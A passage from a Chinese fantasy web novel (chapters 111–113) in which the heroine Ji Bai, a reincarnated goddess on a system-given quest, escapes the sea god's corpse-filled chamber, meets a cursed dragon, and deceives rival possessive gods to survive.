“你杀了人,还让别人感谢你?”季白冷笑,“那你用她们的骨头做木架,是不是也要她们感谢你?” “你根本就不配做神!” “小白,谁告诉你神明就是好的了?”涅塞斯抬脚朝她靠近,一步一步地把她逼到了那间还空着的水晶棺里,“何况,我也不算坏吧?” “你们人类不也喜欢用鸟兽的皮骨做装饰吗?你们能用的,本神用不得?” 在涅塞斯的眼中,人类与鸟兽无异。 “何况,我可比你们善良多了。”涅塞斯笑得温柔,“他们是自愿把他们的生命献祭给我,临死前还不断地恳求着我呢。” “国王怕我不满意,大手一挥又献祭了上百人。” “可我……明明什么都没做。” “你说,究竟是我变态还是你们变态?” 涅塞斯抬手放出一只格外眼熟的粉色水母,他指尖微动,粉色的透明水母越长越大,直至可以包裹住季白的整个头颅时,涅塞斯方停了手。 他动作温柔地轻抚着水母的头,说出口的话缱绻到宛若情人低语,“别紧张,它的触手会分泌出一种致幻的毒素,会让你毫无痛苦的死去。” “留下来陪我吧,我会每天都帮你梳理头发,穿衣打扮,绝不会让你感到孤单。” 涅塞斯说着,粉色水母就直奔季白而来,眼看就要扑到她脸上时,门外却突然传来一声滔天的巨响以及神的怒吼。 “涅塞斯,你出来!我知道你在这儿!” 110-120 111 第111章 季白趁涅塞斯一愣神的功夫使出了全部的力量朝即将扑至眼前的水母与涅塞斯攻去。 这一击,她甚至把从永恒之冠里得来的还未完全消化的神力都用上了。 然而强行催动神力的后果就是体内的筋脉一寸寸断开,就连皮肉也如同干涸的河床般裂开,撕心裂肺的疼痛致使季白几乎快要喘不上气,但她还是咬着牙用尽最后的力气把早就提前准备好的隐形帽子戴在了头上。 季白这翻江倒海的一击将粉色水母拍成了肉泥,可落在涅塞斯身上时,却只是令他堪堪退后了一步。 他拂了拂微乱的发丝,嘴角含笑地抬腿上前,目光紧锁着倒在地上的季白,微微抬手设下禁制。 “小白以为消失了,我就找不到你了吗?” 他的脚步停在季白鲜血淋漓的手边,笑容和煦, “你逃不掉的。” 季白伏在地上轻轻喘息着,这具身体已经完全崩坏了,全身上下的每一处都传来血肉崩裂的疼痛,疼得她无法思考,满脑子只有好疼两个字。 涅塞斯俯下腰朝季白伸出手,眼看就要摸上她湿漉漉的头发,外面却又传来一声惊天动地的声音。 那架势似乎在告诉涅塞斯,如果他再不出去,整座海神宫都将毁于一旦。 涅塞斯眼中闪过一缕阴冷的暗芒,收回手并站直了身子。 他低垂着眉眼,好似能瞧见地上鲜血淋漓的季白一样。 “小白乖乖等我一会,我马上回来。” 涅塞斯的脚步声渐行渐远,很快就彻底离开了这儿,但快要被疼痛折磨至死的季白压根没有注意到涅塞斯的离开,她甚至连他说了什么都不知道。 身上的疼痛越演越烈,眼皮也越来越沉,季白觉得自己快要死了…… 就在季白将要支撑不住的时候,身体被一团温暖且亲切的力量所包裹,宛若……回到了母亲的怀抱。 她竭尽全力抬起头向前看去,竟看见死去多时的尸体活了过来,她身披铠甲,四肢僵硬地朝她缓缓走来,每走一步都发出金属碰撞的声音,直叫人胆战心惊。 可季白竟一反常态地一点也不怕,她能感受到那股温暖她的力量就是从她身上散发出来的。 她,在帮她。 “想活吗?”和她生得一模一样的女人半跪在她面前,低声问。 她的声音很是沙哑像是几百年都没有发过声的破风箱,每说一个字都会让人担心它是不是要散架了。 “想。”季白重重点头。 女人的手放在她的额头上,一股温暖的力量顺着掌心传至她的体内,破裂的肌肤一寸一寸地恢复光洁,疼痛也被一寸寸地压了下去,可她还没来得及高兴,就发现她身上的伤全部转移到女人的身上了。 那张与季白一般无二的漂亮脸庞,此时此刻龟裂得好似一张被人撕得粉碎的纸,只余留那双眼睛悲伤地看着她。 女人如天亮后的星光般消散在她眼前,耳边萦绕着她无比温柔鲜活的声音。 “吾救汝命,汝当承吾之志。” 季白不禁伸手去抓,试图留住最后一丝她的痕迹,然而她什么也没有摸到。 “你的遗志是什么?” 一片寂静,回应她的只有自己的呼吸与心跳。 盔甲没了支撑蓦地散落在地,头盔正好滚进了季白的怀里,季白抱住它轻轻抚了抚,冰冷而又坚硬的触感带给季白一种极为熟悉的感觉,好似这本就是她的东西。 任务栏再次在季白眼前亮起,属于涅塞斯的后半部分任务已经完成,如今就差获取海神传承了。 季白恢复力气后立即从地上爬起来准备离开这儿,她刚走到门口时却又突然停下脚步转过身来看着房间里与她生得一模一样的尸体们。 这样的地方还是一把火烧了最干净。 季白这么想着,就催动力量准备一把火烧了这儿,然而她的掌心刚升起一团摇摇欲坠的火苗时,不知从哪儿来了一阵阴冷的风竟把她手里的火苗吹灭了。 季白微微皱了皱眉,凝望着面前一动不动的尸体们,难道她们不愿意被烧毁? 她本就不是一个热心的人,既然她们不愿意,她自然也不会强求。 季白收回手不再看她们,抬脚就走,背后却突然传来细微的异响,惊得季白心头一跳,回头看去。 不会吧,不会就因为她刚刚想烧了这儿,她们就生气了,打算给她点教训吧? 季白原本还怀疑这些尸体是不是曾经的她,可现在她已是十分确定,她和她们绝不是同一个人。 她宁愿化为飞灰,也不愿死后以这幅模样满足涅塞斯的变态欲望。 极其微弱的绿光从她们的胸口飘了出来,随后汇聚在一起点亮了昏暗的房间。 季白还没有弄明白这是什么意思时,那团绿光就朝她的方向扑了过来。 季白没有躲,这些绿光虽然来得迅猛,但她并没有感受到攻击的气息,反而与刚刚救她的力量如出一辙。 只见越燃越亮的绿光绕过季白直朝门口撞去,绿光好似撞上一个看不见的墙,紧接着季白就听见类似玻璃断裂的咔擦声,声音很细微却一层一层地从四面八方传来。 季白心下一惊,忍不住往后退了半步,模糊的记忆忽而变得清晰,涅塞斯临走前曾给这间屋子布下结界。 她真是疼晕了头,竟连这么重要的事情都忘记了。 季白耳边的“咔嚓“声逐渐平息,她转过头去再次看向一个个被困在冰晶棺中的女尸,她深呼了一口气,对着她们弯下腰行了一个颇为庄重的礼,随后轻声说:“谢谢你们。” “你们……”季白再次提问,“你们不想离开这儿吗?” 阵法一破,涅塞斯立时就有所察觉,他打斗的动作略地一停,温和的笑意褪去几分,眼中是冰冷的杀意。 海底是他的主场,因而就算泊里与赫瑞特联手,涅塞斯一时间也没完全落了下风。 他抬手防御赫瑞特的招式,冷声道:“别打了。” “怎么?”赫瑞特挑眉笑道,“想通了,打算不藏着小白了?” 泊里收起手中的神剑,迈着庄肃而又逼人的步伐走至涅塞斯面前,俊美的面容上冷得没有一丝表情。 “涅塞斯,我们有言在先,只要小白是真心喜欢你,这一世我等绝不再扰,可如今你藏着掖着莫不是想对小白用强?这未免也太无耻了些。” 他们三人当初早有言在先,季白转世后他们不得用武力逼迫,神力干扰,只能凭借自身的魅力吸引季白,若季白选中谁,落选之人就不得再打扰,只能继续等待来世。 这套规矩他们已延续了许久,可无论是人还是神,皆欲壑难填,他们谁都想占据更多的季白。 因而没什么道德的赫瑞特就先与涅塞斯结为同盟,率先解决泊里,将他弄至沉睡状态。 秩序一旦被打破就再也回不去了,他们本就摇摇欲坠的联盟如今已然是彻底崩裂了。 涅塞斯冷笑一声。 “到了这种时候了,你们还想着寻小白,行,我让你们进去,你们若是找得到她,这一世我绝不踏出海神宫半步。” 涅塞斯话音刚落就蓦地察觉到海神宫有异,他与赫瑞特等人回眸一看就见海神宫二楼燃起了冲天火光。 涅塞斯面容阴冷,可赫瑞特嘴角却挂着极为愉悦的笑意,能闹出这般动静的也只有季白一人了。 他哼着小曲迈着愉悦的步伐朝燃着大火的海神宫走去,原本死寂的心再一次死灰复燃了。 他忍不住地想,季白一定是喜欢他的吧? 若是不喜欢他,她何必从泊里那儿逃跑,又何必悄悄留信号给他还放火烧海神宫? 她从神宫离开后一定是想找他的,结果被狡猾的涅塞斯抢先一步将她强行带到了海神宫,涅塞斯素来狡诈,他或许在季白还在神宫的时候就已经盯上季白了。 若是如此,那怎么能是季白的错呢? 赫瑞特还没见着季白,就已经在心中为季白找好了借口,全然忘记自己上次被骗后许下的豪言壮语,说什么再也不相信她之类的话。 冲天的火光映入她的眼中,熊熊燃烧的蓝白色火焰包裹着她们焚毁着她们,也带来了彻底的解脱与自由。 季白问完那句话后,她掌心寂灭的火焰却突兀地再次燃起,她就已经知道她们的答案了。 季白送别她们后,就准备快速离开这儿,结果刚走出走廊就迎面撞见涅塞斯,泊里与赫瑞特三神一起走了上来。 季白顿时吓得大气也不敢喘,小心翼翼地贴着墙站生怕被他们三位发现。 季白注意到走到最前方的赫瑞特看起来心情很好的样子,竟还有心思哼着小曲。 季白想到自己的下一个任务后,眼眸闪了闪,随后悄悄钻进一间房里翻出纸笔给赫瑞特写纸条。 纸条写好后,季白抓住时机用魔法把纸条落到涅塞斯的身上,做完一切的季白一刻也不敢留地快速离开了海神宫。 因而她并没有看见……接下来发生的事。 纸条飘然而落停在赫瑞特的肩上,赫瑞特却抬手将它从肩上拂了下去,阴阳怪气地嘲讽涅塞斯:“涅塞斯,你的海神宫越弄越像垃圾场了,怎么什么乱七八糟的东西都有。” 泊里恰巧走在赫瑞特的身后,他指尖微微一动,写给赫瑞特的纸条就落到了……泊里手里。 112 第112章 季白一路紧赶慢赶总算平安无险地再次来到了珊瑚丛深处,上次未能打开的贝壳还原封不动地留在那儿。 季白不敢耽误时间,立即把涅塞斯的鳞片放到了贝壳下方的凹槽,一时间只见紧闭的贝壳缓缓打开泄出耀眼的华光。 季白还没看清贝壳里的东西是什么,身后就忽而传来异动,好似有什么东西在黑暗中游走。 “哗啦啦。” 只听水波晃动,那东西离她越来越近了。 腐烂的不祥之气逐渐弥散开来,萦绕整片海域,这难以诉说的奇怪气味熏得季白难以呼吸,却又有一种莫名的熟悉。 季白来不及多想,连忙转过身子一把将贝壳里的东西收进任务背包,而后就准备快速离开这儿,然而身后却传来一道熟悉的声音。 “你终于做到了。” 季白的眼睛顿时瞪大了,身后再次响起的声音和上次提醒她的神秘人一模一样。 季白立即转过身去,就隐约在黑暗的海域中瞧见一抹游动的巨大身影。 又粗又壮的身形像极了……上次救过她的魔龙。 那东西游至季白的身前露出一颗硕大的半腐烂的龙头,那双炯炯有神的大眼睛都快抵得上季白一半大了。 “我终于等到你了。” “等我?”季白思虑片刻后把帽子从头上摘下来放在手中,“你认识我?” 魔龙的眼睛在看见她的一瞬间,登时亮了起来,好像周围漆黑的海域都被它的眼睛照亮了。 这样热切的眼神让季白忍不住往后退了一步,它虽然曾经救过她,可它的样子看起来实在骇人。 腐烂的血肉,裸露的白骨,寄生的咀虫。 季白只看一眼就感觉好似自己的身体也长满了咀,让她皮肉发麻,血肉发痒。 她强忍着不适,尽力去忽视它的身体,温声说:“你帮了我。” “我会一点治愈魔法,能帮你治愈身体,你愿意相信我试一试吗?” 巨大的魔龙听了这话竟乖顺地像只小狗一样趴在季白的脚边一动不动,似乎是在竭力地对她表达忠诚。 “我相信你,可……可你应该治不好我。” “不试试怎么知道不行?” 季白把手搭在它的头上闭眼调动体内的魔法,掌心下逐渐传来温热的温度。 可无论她调动多少魔法,都不够填补魔龙的伤,就好似是一滴沙掉入了沙漠里,渺小到找不到看不着。 “没用的。”魔龙低沉的声音再次响起,“我身上的伤是诅咒。” “以你现在的力量帮不了我。” 季白睁开眼睛,眼前的魔龙和刚刚出现时的样子一模一样,半分也没有好转。 季白看着它的眼睛,心底又再次涌出一股陌生的难过与悲伤。 “以我现在的力量?”季白问,“你到底是谁?” 魔龙的眼神变得无比哀伤。 “你还是没能想起来吗?” 季白:…… 这条龙是不是被诅咒的太久,脑子也有问题了? 她要是想得起来,还用问他吗? 季白深呼一口气,终是没忍住,道:“我若是知道也不必问你,你到底是谁,再不回答,我就走了。” 魔龙张了张嘴似是想对她说点什么,可说出口的话却是无声的,好似有某种神秘力量扼住了它的喉咙。 魔龙痛苦地沉默了下去,尾巴焦躁不安地摆个不停。 季白见状连忙安抚它的情绪。 “你若是说不了,我不问就是。”季白说,“我还有很重要的事做,必须要先走了,等我实力强大了我会回来帮你的。” 魔龙粗喘着吐着龙息,眼睛一瞬不移地盯着季白,再听见季白还会回来时,尾巴雀跃地止不住摇摆,尾巴尖尖控制不住地朝季白的方向袭来,似是想用尾巴触碰她一样,但他的目光在落到尾巴上的腐肉时,又失落地垂了下去。 季白敏锐地察觉到了魔龙的失落,她主动游了上去,轻抚着魔龙的尾巴尖尖。 上一次就是这条尾巴救了她,她甚至还记得被这条尾巴卷起来时的触感。 只是很可惜,纵然它上一次用尽了全力也没有救下季白。 柔软的触感顺着尾巴尖尖传遍全身,喘息声逐渐加重,尾巴克制不住地蹭了蹭季白的手。 它这幅身体早已被痛苦折磨的毫无知觉,可当她的手抚摸上它的时候,它还是能无比敏锐地体会到柔软又舒服的触感,是它许久未曾有过的感受,也是它日日夜夜盼着的感受。 “我会一直在这儿等着你。” 魔龙看着她的眼睛说:“海洋之心。” “海洋之心里有你要的答案。” 说完这句话,魔龙深深看了季白一眼就摇晃着尾巴消失在季白眼前。 季白瞧着水波逐渐恢复平静后,转过身把帽子戴在头上就准备离开这儿前往她和赫瑞特约定的地方。 路上,她想起魔龙的话从背包中取出刚刚从贝壳中得到的神器,是一颗散发着幽幽蓝光的珠子,里面水波轻晃似是包裹着一片小小的海洋。 这就是魔龙所说的海洋之心,系统所谓的海神的传承? 季白实在不太明白这东西怎么用,试探性地往蓝色珠子里注入自己的力量,一刹那,季白的灵魂好似被珠子吸了进去一般。 眼前闪过无数陌生又熟悉的画面。 她看见自己在丛林中诞生,看见自己捡了一颗蛋每日带在身边精心养护着,看见蛋壳破碎后从中钻出一条可爱又漂亮的小青龙。 接下来的画面转得太快,季白没有看清,只瞧见最后定格的画面,她带着小青龙畅快地在海边游玩却在礁石后发现了一直偷看他们的小鲛人。 鲛人转过头来露出一张俊美异常,震撼人心的脸,那双漂亮清透的蓝眼睛仿佛能望进你的心里去。 季白在这样的视觉冲击下蓦地从回忆中抽离,心脏止不住地狂跳,好似有什么东西要冲破禁锢,她抬手捂住心脏止不住地喘息,待心脏逐渐平缓后,那股莫名的力量与冲劲也平息了下去。 季白回头看了一眼被她落在身后的珊瑚丛,所以珊瑚丛里腐烂的魔龙是她亲手孵出,亲自带大的小青龙吗? 回忆里的小青龙鳞片漂亮身姿矫健,就连龙须都散发着威严而华贵的气息,可她看见的魔龙却成了一条……腐烂的龙。 季白心中顿时涌上一团怒火,她很确定小青龙之所以变成这样定是涅塞斯所为,除了他不会有第二个人。 它身上的腐烂其实与那些鲛人如出一辙,当初到底发生了什么? 季白一面思索着她在这个副本的前世,一面继续琢磨着手里的海洋之心。 这东西看起来一点用也没有,不像永恒之冠里还藏有她的一部分神力,它除了能给她一段模糊的记忆外,好像帮不上任何忙。 季白把海洋之心重新扔回了背包里,只当是件普通的任务道具。 如今四位神明的任务她已经完成两位了,赫瑞特还差后半部分也就成功通关了。 唯有查奥斯。 唯有查奥斯的任务栏还没有解锁,这实在是太诡异了。 难道查奥斯有什么特别之处吗? 季白忍不住开口询问系统关于查奥斯的任务。 可她问了半晌系统也没有出声回答她,好似断联了一般。 季白叹了口气只能暂时放下查奥斯的任务,先专心完成赫瑞特的任务。 季白很快就到了与赫瑞特约定的地点,她担心赫瑞特来了以后没看见她又会离开,还特意把头顶的帽子取了下来背在身后。 可她左等右等也没等到人,正在她纠结着要不要再回海神宫看一眼时,背后却突然传来一道熟悉的声音。 “这么喜欢他?” “哪怕他不来,你也要一直在这儿等他吗?” 季白背后顿时升起一阵凉意。 泊里?!他怎么会来?她明明是把纸条扔给赫瑞特的啊。 一双手从后抓住了她的手腕,这双手戴着质地冰凉丝滑的手套,紧紧握着她时带来一种异样的感受。 “怎么?害怕到都不敢回头看吾一眼吗?” 低低的轻笑声从脑后传来,声音越来越近,直至一个微凉柔软的东西贴上她的耳边,灼热的呼吸尽数喷在她的耳廓带来酥酥麻麻的痒意。 “当初用刀剖开吾胸膛时的勇气呢?”冰冷的手从后抬起摸上她的胸口,亲昵的动作似是情人的拥抱,可说出口的话却冰冷又残忍,“你的心到底是什么做的,真想掏出来看一看。” 泊里话音刚落,季白就感觉到自己的心口痛得厉害,好似要死掉一样。 泊里从后方看着她的脸色在顷刻间变得无比苍白,额上遍布汗珠,牙齿几乎快要把嘴唇咬出血。 泊里伸手掰开她的嘴巴,把手伸进去抵住她的牙齿。 当他的指尖传来阵阵疼痛时,他才恍然意识到自己做了什么,嘴角忍不住扯出一抹讽刺的笑。 “宁愿忍受这样的痛,都不愿意回到吾身边吗?” “吾哪点比不上赫瑞特?” 泊里抓住她的手腕将季白拽进了怀里,手指从她的嘴里抽了出来紧掐着她的下巴,金色的眼睛被黑暗侵染变成独特而又神秘的黑金色,眼底翻涌着痛苦又不甘的挣扎。 “你知道吗?比起看着你爱上别人,吾宁愿亲手杀了你。” “至少……你还属于吾。” 他低下头吻上她流着血的唇,喃喃道:“下一世,不要选错人。” 113 第113章 好汉不吃眼前亏。 季白果断地主动抱住泊里,泪盈盈地说:“不是的,我……我是有苦衷的,不是真的爱赫瑞特。” 她好不容易从涅塞斯那儿跑出来,可不想又栽在泊里手上。 “我不是不愿意跟你走。”季白小心翼翼地回吻他,“我只是害怕我会又一次伤害你。” “你以为吾还会信你吗?”暗金色的眸子一瞬不移地紧盯着她,好似随时都会亮出獠牙将她吞入腹中。 季白抓着泊里的手放在自己砰砰直跳的心口,清透的眼睛无比专注地盯着他。 “你不是无所不知的神明吗?” “难道我站在你眼前,你还不能感受到我对你无法克制的爱吗?” 季白的这双眼睛认真地看着一个人的时候,眼中的情意足以将任何一个人溺毙,尤其是她的眼中还闪烁着泪花,像是夏日挂在树梢晶莹的雪,美丽又脆弱,让人情不自禁地想要留住她。 她炙热的鲜活的心跳声透过布料传至他的掌心,他的指尖微微动了动,心中涌上一股莫名的冲动,想要挣脱一切赤裸裸地摸上去,想要毫无阻碍地与她肌肤相贴,感受她的温度,她的触感。 季白此时此刻无比庆幸自己在纸条上没有多说一句肉麻的话,只有一个地址与她的名字,因而她才有足够的发挥空间。 不过她始终想不明白,纸条为什么会到了泊里手中,难道赫瑞特没看见吗? 还是……他们二人合谋做得一场戏? 如果是第二种,她今天说什么也是错。 “伟大的光明神大人,您一定要杀了我吗?”季白楚楚可怜地看着他,“您能赦免所有人的罪,难道就不能原谅您最爱的人吗?” “我知道我犯下了不可饶恕的*错,可……可我自己也不知道我当时是怎么了。” 反正这个世界魔法横行,男主又各个是神通广大的神明,她就说自己是被控制了,也完全合理。 她在动手取出永恒之冠前在泊里的面前都是极为崇拜爱慕光明神且又谨慎的性格,这样的人怎么会在突然之间说出那么嚣张的话,怎么看都违背常识。 季白见泊里半天不语,正准备再多说几句博取信任与生机。 泊里却突然掐着她的下巴,面无表情地说:“说你爱我。” “说你爱我,只爱我,我就信你。” 季白的眼神微微颤了颤。 这么容易的吗? 季白抱着泊里的腰,弯眸笑道:“我爱你,只爱你,季白只爱泊里一个人。” 泊里微微弯唇笑了笑,可笑意却不达眼底,黑金色的眸子低眸看过来的时候带着极强的侵略与压迫感,让人无法拒绝他的命令。 “吻我。” 季白闻言踮起脚尖主动攀着他的脖子吻上他的唇,轻轻一触就准备离开,却听泊里命令式的语气再次响起。 “热情点。” 季白睁开眼睛就对上他紧锁着她的视线,像是一头沉默的,蓄势待发的狮子。 季白咽了咽口水照着他的话又再次吻了上去,泊里让她热情点,可他自己却岿然不动,任由季白的舌头舔舐着他的唇又钻进他的嘴中,唯有他悄然握紧她腰的手与略显急促的呼吸暴露出他此时此刻的不平静。 “喜欢吾吗?”泊里微喘着问,“吾和赫瑞特谁更好?” “喜欢你,只喜欢你,赫瑞特完全不能与你相比。”季白搜刮着肚子里的情话,无比肉麻又真诚地对着泊里表白,“您就是我唯一的太阳,失去您,我的世界就再也没有了光明,只有无尽的等待与麻木,待在您身边的每一分每一秒我都感到无与伦比的快乐与幸福,喜欢你,喜欢你所有的一切,就算让我做你的奴隶,我也心甘情愿。” 泊里的嘴角又往上扬了扬,戴着手套的手指摩挲着她湿漉漉的唇,低声问:“谁在你身边你就最爱谁是吗?” 季白囔道:“不是的,无论我在谁的身边我都只喜欢你。” “我第一次见到你的时候还不知道你是光明神,当时……当时我对你就有一种特别的感受,只是……” 泊里伸出食指抵住季白的唇,“是吗?那就证明给吾看。” 季白不明所以,以为泊里还想听她的表白,就又搜刮了一番动人的情话对着他表白。 正当季白动情地说道,“永不变心,至死不渝”的时候,泊里却忽而侧眸看向另一边寂静的海域。 “赫瑞特,还没听够吗?”泊里圈在季白腰间的手紧了紧,“这么多告白还不足以让你死心吗?” “你若没有听清,吾不介意再给你复述一遍,季白说,她爱我,只爱我。” 季白的身子蓦地一僵,所以刚刚赫瑞特一直都在? 季白在心里把泊里与赫瑞特骂了快一百遍。 他们两个人一定是故意耍她,之前是赫瑞特故意让泊里听见她和他的对话,现在改成泊里故意让赫瑞特听了。 赫瑞特的身影缓缓在不远处显形,墨绿色的眼眸看了一眼被泊里紧紧抱住的季白,直看得季白心里发毛。 赫瑞特轻笑一声,幽冷的目光重新落回在泊里的身上,漫不经心地说:“以性命威胁强迫别人说爱你,这到底是告白还是逼供?” “泊里,你还真是一如既往的无耻。” 泊里嗤笑一声,“比起你们,吾还是差了点。” “强迫?”泊里低眸看向季白,问,“你告诉他,吾有没有强迫你?” 泊里说完又低下头贴在她的耳边低声说:“你知道怎么说会让吾高兴,证明给吾看,别让吾失望。” “这是你最后的机会。” 季白眨了眨眼,没错,这是她最后的机会。 “我知道了。”季白说,“我不会让您失望的。” 季白说得诚恳又虔诚,让泊里的心蓦地一跳,圈住她腰的手微微松了松。 季白转过头来看向赫瑞特,正巧对上赫瑞特冷冷的眼神,似是恨不能将她拆吃入腹一般。 季白抬脚上前,平静的神色却在下一刻变得惊慌,高声嚷道:“赫瑞特救我!” 季白一面说着,还一面用力挣脱泊里,试图朝赫瑞特奔去。 这突如其来的变故让在场的泊里与赫瑞特俱是一惊,紧接着便是一喜与一怒。 赫瑞特脸上的冰山霎那间得以融化,一双眸子笑得好似明媚的春光,泊里威肃冰冷的脸上则添了几分火山即将爆发的恼怒,黑金色的瞳孔映照着足以焚毁一切的怒火。 他伸手抓住季白的手腕,力度大到似是要将季白的手腕捏碎,一张扭曲至几近崩溃的脸出现在季白面前,他咬牙切齿地质问: “你让他救你?” “呵,那你就求错人了!” 泊里每时每刻都能收到无数信徒的祷告与求救,他们虔诚地恳求他,求他拯救他们,求他带着他们脱离苦海,求他为他们驱逐恶魔。 他接受了那么多的求救,也曾帮过那么多陷入苦难的人,却从来没有想过被人类视作救星的他,有一天会亲眼看着自己爱慕的姑娘当着他的面对别人求救。 那个人……还是他最不齿,最厌恶之人。 什么人会舍弃光明,拥抱黑暗呢? 泊里想不明白,就像他不明白为什么她的嘴里没有一句诚实的话,不明白她为什么不喜欢他? “放开她。”赫瑞特断喝一声,冲了上来,泊里左手微微一抬,手中就多了一柄剑,他举剑去防赫瑞特来势汹汹的攻击,黑金色的眸子几乎快要被黑色完全浸染,“你以为你打得过吾吗?” 赫瑞特嘴角含着笑意,“不试试怎么知道呢。” “你我之间也有上万年没有好好打过一场了吧?你沉睡的日子里,我可一刻也没停。” 赫瑞特很早之前就明白没有足够的实力是无法拥有守护自己的心爱之人,何况……他喜欢的人又是那样的优秀耀眼。 “吾就算再沉睡一万年,你也不是吾的对手。”泊里冷着脸说,他的一招一式都带着开山倒海般的威力,每一击都蕴含着绝对的力量,是让人胆战心惊的暴力美学。 他挥手朝赫瑞特刺去,嘴角噙着一抹轻蔑而又讥讽的笑。 “你我的神力早在一出生时就已注定了,别说一万年,就是再来十万年你也不是吾的对手。” 泊里与赫瑞特对打时,另一只手紧紧把季白抱在怀里,他身材高大,单是小臂就快和季白的大腿差不多了,因而季白被他抱在怀里时像极了娃娃。 赫瑞特的招式比起泊里就多了几分优雅与灵巧,脚尖轻移的步伐,翩然的转身都像极了在跳舞,而不是在与他的生死仇敌进行一场要命的厮杀。 不过季白可以看出来在他华丽而漂亮的招式下隐藏着让人胆战心惊的杀招,但凡他的对手不是泊里,对方早就死在他的权杖之下了。 面对泊里的轻蔑与挑衅,赫瑞特半点也不急,反而还笑吟吟地给予还击。 “泊里,你怎么还是这么天真,如果世界上的东西真的从一出生就已注定,那么你现在也不该在这儿与我打。”赫瑞特轻笑一声,“不正是有了这种变化与不可控才让属于你的未婚妻投入我的怀中吗?” “哦,不,曾经的未婚妻。” “天定的姻缘不也没能留下她吗?” 未婚妻? 季白/精准地抓住了赫瑞特话中的关键词,她的前世曾是泊里的未婚妻? 那永恒之冠不会就是他们的定情信物吧? 季白悄悄抬眸看了泊里一眼,漂亮的脸蛋上再也维持不住冷峻的神色,气得眼尾发红,抱着她的手都在抖。 季白赶紧低下头默默降低自己的存在感,她是真怕赫瑞特把泊里气狠了,一剑了结了她。 “是你引诱了她!”泊里低吼,“你找死!” 赫瑞特眼中闪过一抹狡黠,而后立即闪身躲避,随后蓦地从后方出现,一招砍断了泊里的臂膀,滚烫的血液顿时溅了季白一脸,没了手臂的束缚,身子也自然地往下坠,可很快她又落入一个滚烫的怀抱。 一抬眸就对上赫瑞特昳丽艳绝的脸,勾人的绿色眸子笑得明媚,不甚明亮的光线落在他的身上为他渡上了一层模糊的光晕,使他看起来好似整个人都在发光一样。 “别听他瞎说,你没求错人。” 滚烫的手指拂过她的脸颊为她拭去脸上的血,绿眸直勾勾地盯着她。 “调皮的小猫,终于让我又抓到你了。” 泊里见季白在转瞬之间就落入了赫瑞特的怀里,气得面色青紫,举剑就要朝赫瑞特攻来,但赫瑞特的力量或许不如泊里,可敏捷却点满了,他抱着季白闪身躲避,泊里连赫瑞特的衣角都没挨上。 赫瑞特故意低头吻了吻季白的唇,笑眯眯地说:“泊里,我可没空和你玩了。” “我们现在要去没人看见的地方做点特别的事。” “难道你也要跟上来吗?” 泊里紧握着剑眼神不善地盯着赫瑞特,只见白光一闪,那只断掉的臂膀很快又恢复如新了。 赫瑞特大笑了两声,锐利而高扬的笑声像极了一个反派。 他抱着季白转身离开,路上,他正要问季白当初为何没有守约时,前路就又被一道身影堵住了。 赫瑞特立即抱紧了季白,神色警惕地看着来人。 “涅塞斯,你也要拦我?” 赫瑞特挑眉道:“不要忘了,之前是谁说只要在你这儿找到季白,你此生就绝不踏出海神宫半步?” 涅塞斯从黑暗中走了出来,俊美异常的脸上挂着一抹温柔的笑意,清隽温和到好似温柔的邻家哥哥,可当那双蓝眸看向季白时,季白却从中感受到了骇人的寒意。 “我是说过。”涅塞斯并不否认,“可我说的是你们若是能在海神宫里找到小白,可不是别的地方。” 赫瑞特冷笑:“整片大海都是你的地盘,是海神宫还是其他地方有那么重要吗?” “涅塞斯,我们可是同盟。”赫瑞特说,“我原谅你之前瞒着我的事,可如今小白喜欢的人是我,你难道也要和泊里一样拦着我吗?” 涅塞斯看着躲在赫瑞特怀里的季白完全没有刚刚泊里的愤怒与不甘,相反他脸上的神色相当闲适,甚至嘴角还挂着笑。 “我不拦你。” 赫瑞特听了这话神色不改,甚至连眼皮都没抬一下。 “那就让开。” “我只是有件不得不说的事要告诉你。” “有什么话下次再说。”赫瑞特抱着季白抬脚就走,“我现在可没空听你的长篇大论。” 涅塞斯高声道:“你没觉得你怀里的人有问题吗?” 季白的身子蓦地一颤,他们几人当初应该是同谋,如果涅塞斯在知道她恢复前世的记忆后就要杀她,那么其他人应当也是如此,至少……是默许的。 他们害怕她想起曾经的一切,害怕她恢复从前的力量,他们几人合谋将她从强大的神明变成了任人玩弄的玩物。 季白垂下眼帘不语,脑子开始飞速想着对策。 涅塞斯的这句话成功将赫瑞特留住了。 他低眸看了怀里的季白一眼,她显然是有问题的,在涅塞斯说出那句话时,她抖了一下,为什么,她在害怕吗? 赫瑞特抱着她的手紧了紧,涅塞斯那个变态一定是吓着她了。 他转过身来看着涅塞斯,问:“哪里有问题?” 涅塞斯的视线轻飘飘地落在季白的身上,嘴角的笑意又深了深。 “她想起来了。” “她一个人就将我们耍得团团转,你不觉得奇怪吗?” 涅塞斯抬脚上前,平静道:“你知道封印松动的危害,若她想起一切,我们……就全完了。” “把她交给我吧,我会加固封印,并让她毫无痛苦地死去。” 涅塞斯毫无顾虑地当着季白的面说这些,好似认定了她今天一定会死一样,又或许以她现在的实力就算听懂了也无能为力。 “不要。”季白装作害怕的样子牢牢抓住赫瑞特的衣襟,“不要把我交给他,求求你了。” “很害怕他?”赫瑞特低下头在季白耳边轻声问,“很害怕他,为什么从神宫离开后不来找我,反而去找他?” “你知道我找了你多久吗?” 季白的眼泪说掉就掉,瞎话说编就编。 “我还想问你呢,你要我到哪去找你?我对光明神动完手后就要去找你,结果半路就遇上了他。” 季白抬手指向涅塞斯,一脸愤怒又委屈地说: “他说他知道你在哪,还说神宫的天使都在抓我,他可以带我去找你,我就跟着他走了,结果……结果他就把我带到了海底,说什么也不肯放我走。” “他说他喜欢我,还说要和我结婚,让我做他的神后,我不肯他就关着我不让我走,还……还拿腐烂的人鱼吓唬我。” “呜呜呜……”季白把脸埋进赫瑞特的怀里,“他真的好变态,我看见他有一间神秘的房间,房间里藏着许许多多和我一模一样的姑娘,我不知道她们是谁,害怕得只想跑,他却突然和疯了一样掐着我的脖子问我是不是想起来了,还想要杀了我,幸好当时你和泊里来了,不然我真的再也见不到你了。” “我根本就不明白他说的是什么,什么想起来了……”季白哭哭啼啼地问,“我该想起来什么?难道他藏在房间里的女孩是我的前世吗,他杀了每一世的我,现在还想要杀我。” “赫瑞特,你救救我,求求你不要把我交给他。” 赫瑞特一句话也不说地轻拍着季白的后背,垂下的眼帘让人猜不透他在想什么。 涅塞斯轻笑一声。 “赫瑞特,她在撒谎。” “你这么聪明,不会真的信吧?” 季白的头埋在赫瑞特的怀里,脸颊下是他砰砰直跳的心脏,平稳有力的节奏让人猜不透他到底在想什么,滚烫的手掌如摸小猫一般一下下地轻抚着她的后背。 